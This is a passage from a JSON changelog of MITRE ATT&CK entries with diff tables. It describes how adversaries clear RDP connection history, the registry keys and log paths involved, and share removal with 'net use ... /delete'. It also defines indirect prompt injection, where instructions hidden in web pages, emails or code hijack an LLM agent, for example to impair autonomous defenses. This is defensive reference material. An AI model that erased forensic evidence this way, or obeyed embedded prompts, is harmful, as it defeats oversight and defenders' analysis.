connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\\n\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default</code>\\n* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers</code>\\n\\nWindows may also store information about recent RDP connections in files such as <code>C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp</code> and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\nServer Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\\n\\nMalicious network connections may also require changes to third-party applications or network configuration settings, such as [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1686) or tampering to enable [Proxy](https://attack.mitre.org/techniques/T1090). Adversaries may delete or modify this data to conceal indicators and/or impede defensive analysis.\", \"diff\": \"--- \\n+++ \\n@@ -1,9 +1,9 @@\\n Adversaries may clear or remove evidence of malicious network connections in order to clean up traces of their operations. Configuration settings as well as various artifacts that highlight connection history may be created on a system and/or in application logs from behaviors that require network connections, such as [Remote Services](https://attack.mitre.org/techniques/T1021) or [External Remote Services](https://attack.mitre.org/techniques/T1133). Defenders may use these artifacts to monitor or otherwise analyze network connections created by adversaries.\\n \\n-Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under (Citation: Microsoft RDP Removal):\\n+Network connection history may be stored in various locations. For example, RDP connection history may be stored in Windows Registry values under:\\n \\n-* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default</code>\\n-* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers</code>\\n+* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default</code>(Citation: Microsoft RDP Removal)\\n+* <code>HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers</code>(Citation: Microsoft RDP Removal)\\n \\n Windows may also store information about recent RDP connections in files such as <code>C:\\\\Users\\\\\\\\%username%\\\\Documents\\\\Default.rdp</code> and `C:\\\\Users\\\\%username%\\\\AppData\\\\Local\\\\Microsoft\\\\Terminal\\n Server Client\\\\Cache\\\\`.(Citation: Moran RDPieces) Similarly, macOS and Linux hosts may store information highlighting connection history in system logs (such as those stored in `/Library/Logs` and/or `/var/log/`).(Citation: Apple Culprit Access)(Citation: FreeDesktop Journal)(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to57__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to57__0\"><a href=\"#difflib_chg_to57__top\">t</a></td><td class=\"diff_header\" id=\"from57_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;clear&nbsp;or&nbsp;remove&nbsp;evidence&nbsp;of&nbsp;malicious&nbsp;networ</td><td class=\"diff_next\"><a href=\"#difflib_chg_to57__top\">t</a></td><td class=\"diff_header\" id=\"to57_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;clear&nbsp;or&nbsp;remove&nbsp;evidence&nbsp;of&nbsp;malicious&nbsp;networ</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;connections&nbsp;in&nbsp;order&nbsp;to&nbsp;clean&nbsp;up&nbsp;traces&nbsp;of&nbsp;their&nbsp;operation</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;connections&nbsp;in&nbsp;order&nbsp;to&nbsp;clean&nbsp;up&nbsp;traces&nbsp;of&nbsp;their&nbsp;operation</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;Configuration&nbsp;settings&nbsp;as&nbsp;well&nbsp;as&nbsp;various&nbsp;artifacts&nbsp;that&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s.&nbsp;Configuration&nbsp;settings&nbsp;as&nbsp;well&nbsp;as&nbsp;various&nbsp;artifacts&nbsp;that&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">highlight&nbsp;connection&nbsp;history&nbsp;may&nbsp;be&nbsp;created&nbsp;on&nbsp;a&nbsp;system&nbsp;and/</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">highlight&nbsp;connection&nbsp;history&nbsp;may&nbsp;be&nbsp;created&nbsp;on&nbsp;a&nbsp;system&nbsp;and/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;in&nbsp;application&nbsp;logs&nbsp;from&nbsp;behaviors&nbsp;that&nbsp;require&nbsp;network&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;in&nbsp;application&nbsp;logs&nbsp;from&nbsp;behaviors&nbsp;that&nbsp;require&nbsp;network&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onnections,&nbsp;such&nbsp;as&nbsp;[Remote&nbsp;Services](https://attack.mitre.o</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onnections,&nbsp;such&nbsp;as&nbsp;[Remote&nbsp;Services](https://attack.mitre.o</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1021)&nbsp;or&nbsp;[External&nbsp;Remote&nbsp;Services](https://a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rg/techniques/T1021)&nbsp;or&nbsp;[External&nbsp;Remote&nbsp;Services](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1133).&nbsp;Defenders&nbsp;may&nbsp;use&nbsp;these&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1133).&nbsp;Defenders&nbsp;may&nbsp;use&nbsp;these&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rtifacts&nbsp;to&nbsp;monitor&nbsp;or&nbsp;otherwise&nbsp;analyze&nbsp;network&nbsp;connections</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rtifacts&nbsp;to&nbsp;monitor&nbsp;or&nbsp;otherwise&nbsp;analyze&nbsp;network&nbsp;connections</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;created&nbsp;by&nbsp;adversaries.&nbsp;&nbsp;Network&nbsp;connection&nbsp;history&nbsp;may&nbsp;be&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;created&nbsp;by&nbsp;adversaries.&nbsp;&nbsp;Network&nbsp;connection&nbsp;history&nbsp;may&nbsp;be&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stored&nbsp;in&nbsp;various&nbsp;locations.&nbsp;For&nbsp;example,&nbsp;RDP&nbsp;connection&nbsp;his</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stored&nbsp;in&nbsp;various&nbsp;locations.&nbsp;For&nbsp;example,&nbsp;RDP&nbsp;connection&nbsp;his</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory&nbsp;may&nbsp;be&nbsp;stored&nbsp;in&nbsp;Windows&nbsp;Registry&nbsp;values&nbsp;under<span class=\"diff_sub\">&nbsp;(Citatio</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tory&nbsp;may&nbsp;be&nbsp;stored&nbsp;in&nbsp;Windows&nbsp;Registry&nbsp;values&nbsp;under:&nbsp;&nbsp;*&nbsp;&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_sub\">n</span>:&nbsp;<span class=\"diff_sub\">Microsoft&nbsp;RDP&nbsp;Removal):&nbsp;</span>&nbsp;*&nbsp;&lt;code&gt;HKEY_CURRENT_USER\\Softwa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal&nbsp;Server&nbsp;Clien</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re\\Microsoft\\Terminal&nbsp;Server&nbsp;Client\\Default&lt;/code&gt;&nbsp;*&nbsp;&lt;code&gt;H</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t\\Default&lt;/code&gt;<span class=\"diff_add\">(Citation:&nbsp;Microsoft&nbsp;RDP&nbsp;Removal)</span>&nbsp;*&nbsp;&lt;code&gt;HK</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">KEY_CURRENT_USER\\Software\\Microsoft\\Terminal&nbsp;Server&nbsp;Client\\S</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">EY_CURRENT_USER\\Software\\Microsoft\\Terminal&nbsp;Server&nbsp;Client\\Se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ervers&lt;/code&gt;<span class=\"diff_chg\">&nbsp;&nbsp;Windows&nbsp;may&nbsp;also&nbsp;store&nbsp;information&nbsp;about&nbsp;rece</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rvers&lt;/code&gt;<span class=\"diff_chg\">(Citation:&nbsp;Microsoft</span>&nbsp;RDP&nbsp;<span class=\"diff_chg\">Removal)&nbsp;&nbsp;Windows&nbsp;may&nbsp;a</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">nt</span>&nbsp;RDP&nbsp;<span class=\"diff_chg\">connections&nbsp;in&nbsp;files&nbsp;such&nbsp;as</span>&nbsp;&lt;code&gt;C:\\Users\\\\%usernam</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">lso&nbsp;store&nbsp;information&nbsp;about&nbsp;recent&nbsp;RDP&nbsp;connections&nbsp;in&nbsp;files&nbsp;</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e%\\Documents\\Default.rdp&lt;/code&gt;&nbsp;and&nbsp;`C:\\Users\\%username%\\App</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">such&nbsp;as</span>&nbsp;&lt;code&gt;C:\\Users\\\\%username%\\Documents\\Default.rdp&lt;/co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Data\\Local\\Microsoft\\Terminal&nbsp;Server&nbsp;Client\\Cache\\`.(Citatio</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&gt;&nbsp;and&nbsp;`C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Termina</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">n:&nbsp;Moran&nbsp;RDPieces)&nbsp;Similarly,&nbsp;macOS&nbsp;and&nbsp;Linux&nbsp;hosts&nbsp;may&nbsp;stor</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l&nbsp;Server&nbsp;Client\\Cache\\`.(Citation:&nbsp;Moran&nbsp;RDPieces)&nbsp;Similarly</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&nbsp;information&nbsp;highlighting&nbsp;connection&nbsp;history&nbsp;in&nbsp;system&nbsp;logs</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;macOS&nbsp;and&nbsp;Linux&nbsp;hosts&nbsp;may&nbsp;store&nbsp;information&nbsp;highlighting&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;(such&nbsp;as&nbsp;those&nbsp;stored&nbsp;in&nbsp;`/Library/Logs`&nbsp;and/or&nbsp;`/var/log/`</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">onnection&nbsp;history&nbsp;in&nbsp;system&nbsp;logs&nbsp;(such&nbsp;as&nbsp;those&nbsp;stored&nbsp;in&nbsp;`/</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">).(Citation:&nbsp;Apple&nbsp;Culprit&nbsp;Access)(Citation:&nbsp;FreeDesktop&nbsp;Jou</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Library/Logs`&nbsp;and/or&nbsp;`/var/log/`).(Citation:&nbsp;Apple&nbsp;Culprit&nbsp;A</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rnal)(Citation:&nbsp;Apple&nbsp;Unified&nbsp;Log&nbsp;Analysis&nbsp;Remote&nbsp;Login&nbsp;and&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccess)(Citation:&nbsp;FreeDesktop&nbsp;Journal)(Citation:&nbsp;Apple&nbsp;Unifie</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Screen&nbsp;Sharing)&nbsp;&nbsp;Malicious&nbsp;network&nbsp;connections&nbsp;may&nbsp;also&nbsp;requ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;Log&nbsp;Analysis&nbsp;Remote&nbsp;Login&nbsp;and&nbsp;Screen&nbsp;Sharing)&nbsp;&nbsp;Malicious&nbsp;n</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ire&nbsp;changes&nbsp;to&nbsp;third-party&nbsp;applications&nbsp;or&nbsp;network&nbsp;configura</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">etwork&nbsp;connections&nbsp;may&nbsp;also&nbsp;require&nbsp;changes&nbsp;to&nbsp;third-party&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;settings,&nbsp;such&nbsp;as&nbsp;[Disable&nbsp;or&nbsp;Modify&nbsp;System&nbsp;Firewall](h</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">pplications&nbsp;or&nbsp;network&nbsp;configuration&nbsp;settings,&nbsp;such&nbsp;as&nbsp;[Disa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttps://attack.mitre.org/techniques/T1686)&nbsp;or&nbsp;tampering&nbsp;to&nbsp;en</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ble&nbsp;or&nbsp;Modify&nbsp;System&nbsp;Firewall](https://attack.mitre.org/tech</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">able&nbsp;[Proxy](https://attack.mitre.org/techniques/T1090).&nbsp;Adv</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">niques/T1686)&nbsp;or&nbsp;tampering&nbsp;to&nbsp;enable&nbsp;[Proxy](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ersaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;modify&nbsp;this&nbsp;data&nbsp;to&nbsp;conceal&nbsp;indicator</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1090).&nbsp;Adversaries&nbsp;may&nbsp;delete&nbsp;or&nbsp;modif</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;and/or&nbsp;impede&nbsp;defensive&nbsp;analysis.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;this&nbsp;data&nbsp;to&nbsp;conceal&nbsp;indicators&nbsp;and/or&nbsp;impede&nbsp;defensive&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\"></td><td nowrap=\"nowrap\">&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">alysis.</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1024: Restrict Registry Permissions",
                            "M1029: Remote Data Storage"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0049: Behavioral Detection of Network History and Configuration Tampering"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-31 12:39:18.816000+00:00",
                    "modified": "2026-11-04 00:23:19.177000+00:00",
                    "name": "Network Share Connection Removal",
                    "description": "Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command.(Citation: Technet Net Use)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1070/005",
                            "external_id": "T1070.005"
                        },
                        {
                            "source_name": "Technet Net Use",
                            "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                            "url": "https://technet.microsoft.com/bb490717.aspx"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:23:19.177000+00:00\", \"old_value\": \"2026-05-12 15:12:00.706000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\\\\\system\\\\share /delete</code> command.(Citation: Technet Net Use)\", \"old_value\": \"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\\\\\system\\\\share /delete</code> command. (Citation: Technet Net Use)\"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to53__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to53__0\"><a href=\"#difflib_chg_to53__top\">t</a></td><td class=\"diff_header\" id=\"from53_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;remove&nbsp;share&nbsp;connections&nbsp;that&nbsp;are&nbsp;no&nbsp;longer&nbsp;</td><td class=\"diff_next\"><a href=\"#difflib_chg_to53__top\">t</a></td><td class=\"diff_header\" id=\"to53_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;remove&nbsp;share&nbsp;connections&nbsp;that&nbsp;are&nbsp;no&nbsp;longer&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">useful&nbsp;in&nbsp;order&nbsp;to&nbsp;clean&nbsp;up&nbsp;traces&nbsp;of&nbsp;their&nbsp;operation.&nbsp;Windo</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">useful&nbsp;in&nbsp;order&nbsp;to&nbsp;clean&nbsp;up&nbsp;traces&nbsp;of&nbsp;their&nbsp;operation.&nbsp;Windo</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;shared&nbsp;drive&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ws&nbsp;shared&nbsp;drive&nbsp;and&nbsp;[SMB/Windows&nbsp;Admin&nbsp;Shares](https://attac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1021/002)&nbsp;connections&nbsp;can&nbsp;be&nbsp;removed</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k.mitre.org/techniques/T1021/002)&nbsp;connections&nbsp;can&nbsp;be&nbsp;removed</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;no&nbsp;longer&nbsp;needed.&nbsp;[Net](https://attack.mitre.org/softw</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;when&nbsp;no&nbsp;longer&nbsp;needed.&nbsp;[Net](https://attack.mitre.org/softw</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are/S0039)&nbsp;is&nbsp;an&nbsp;example&nbsp;utility&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;remove&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are/S0039)&nbsp;is&nbsp;an&nbsp;example&nbsp;utility&nbsp;that&nbsp;can&nbsp;be&nbsp;used&nbsp;to&nbsp;remove&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network&nbsp;share&nbsp;connections&nbsp;with&nbsp;the&nbsp;&lt;code&gt;net&nbsp;use&nbsp;\\\\system\\sh</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">network&nbsp;share&nbsp;connections&nbsp;with&nbsp;the&nbsp;&lt;code&gt;net&nbsp;use&nbsp;\\\\system\\sh</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;/delete&lt;/code&gt;&nbsp;command.<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;Technet&nbsp;Net&nbsp;Use)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">are&nbsp;/delete&lt;/code&gt;&nbsp;command.(Citation:&nbsp;Technet&nbsp;Net&nbsp;Use)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0103: Behavioral Detection of Network Share Connection Removal via CLI and SMB Disconnects"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--2e45d340-f00b-4bd6-b5c9-c2ef54b8894c",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2026-09-18 17:35:02.066000+00:00",
                    "modified": "2026-11-03 15:39:54.216000+00:00",
                    "name": "Indirect Prompt Injection",
                    "description": "Adversaries may deliver malicious prompts to an LLM indirectly by embedding the prompts in content that the adversary expects may be processed by an LLM.(Citation: NIST indirect prompt injection) These prompts can be included in web pages,(Citation: Palo Alto Indirect Prompt Injection ITW) documents, emails, tickets,(Citation: Snyk Indirect Prompt Injection) code, or other sources that an agent, copilot, or other AI system may retrieve and process. When an LLM processes this content, the embedded instructions may cause the system to perform unintended behaviors.(Citation: GTIG AI Threats Sep 2026) \n\nAdversaries may use indirect prompt injection to [Impair Autonomous Defenses](https://attack.mitre.org/techniques/T1685/007), and for unauthorized execution of any capabilities available to the LLM. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "execution"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1698",
                            "external_id": "T1698"
                        },
                        {
                            "source_name": "Palo Alto Indirect Prompt Injection ITW",
                            "description": "Beliz Kaleli Shehroze Farooqi Oleksii Starov Nabeel Mohamed. (2026, March 3). Fooling AI Agents: Web-Based Indirect Prompt Injection Observed in the Wild. Retrieved September 18, 2026.",
                            "url": "https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/"
                        },
                        {
                            "source_name": "GTIG AI Threats Sep 2026",
                            "description": "Google Threat Intelligence Group. (2026, September 8). GTIG AI Threat Tracker: From Prompting to Autonomy \u2013 The Evolution of Adversarial AI. Retrieved September 18, 2026.",
                            "url": "https://cloud.google.com/blog/topics/threat-intelligence/from-prompting-to-autonomy-the-evolution-of-adversarial-ai"
                        },
                        {
                            "source_name": "NIST indirect prompt injection",
                            "description": "NIST. (n.d.). indirect prompt injection. Retrieved September 18, 2026.",
                            "url": "https://csrc.nist.gov/glossary/term/indirect_prompt_injection"
                        },
                        {
                            "source_name": "Snyk Indirect Prompt Injection",
                            "description": "Stephen Thoemmes. (2026, February 19). How \u201cClinejection\u201d Turned an AI Bot into a Supply Chain Attack. Retrieved September 18, 2026.",
                            "url": "https://snyk.io/blog/cline-supply-chain-attack-prompt-injection-github-actions/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Girshel Chokhonelidze",
                        "Caio Silva",
                        "Ben Smith, @cmdaltr"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": false,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows",
                        "SaaS"
                    ],
                    "x_mitre_remote_support": false,
                    "x_mitre_version": "1.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 15:39:54.216000+00:00\", \"old_value\": \"2026-10-12 19:53:57.228000+00:00\"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][2]\": \"Ben Smith, @cmdaltr\"}}",
                    "previous_version": "1.0",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1018: User Account Management",
                            "M1022: Restrict File and Directory Permissions",
                            "M1026: Privileged Account Management",
                            "M1030: Network Segmentation",
                            "M1038: Execution Prevention"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
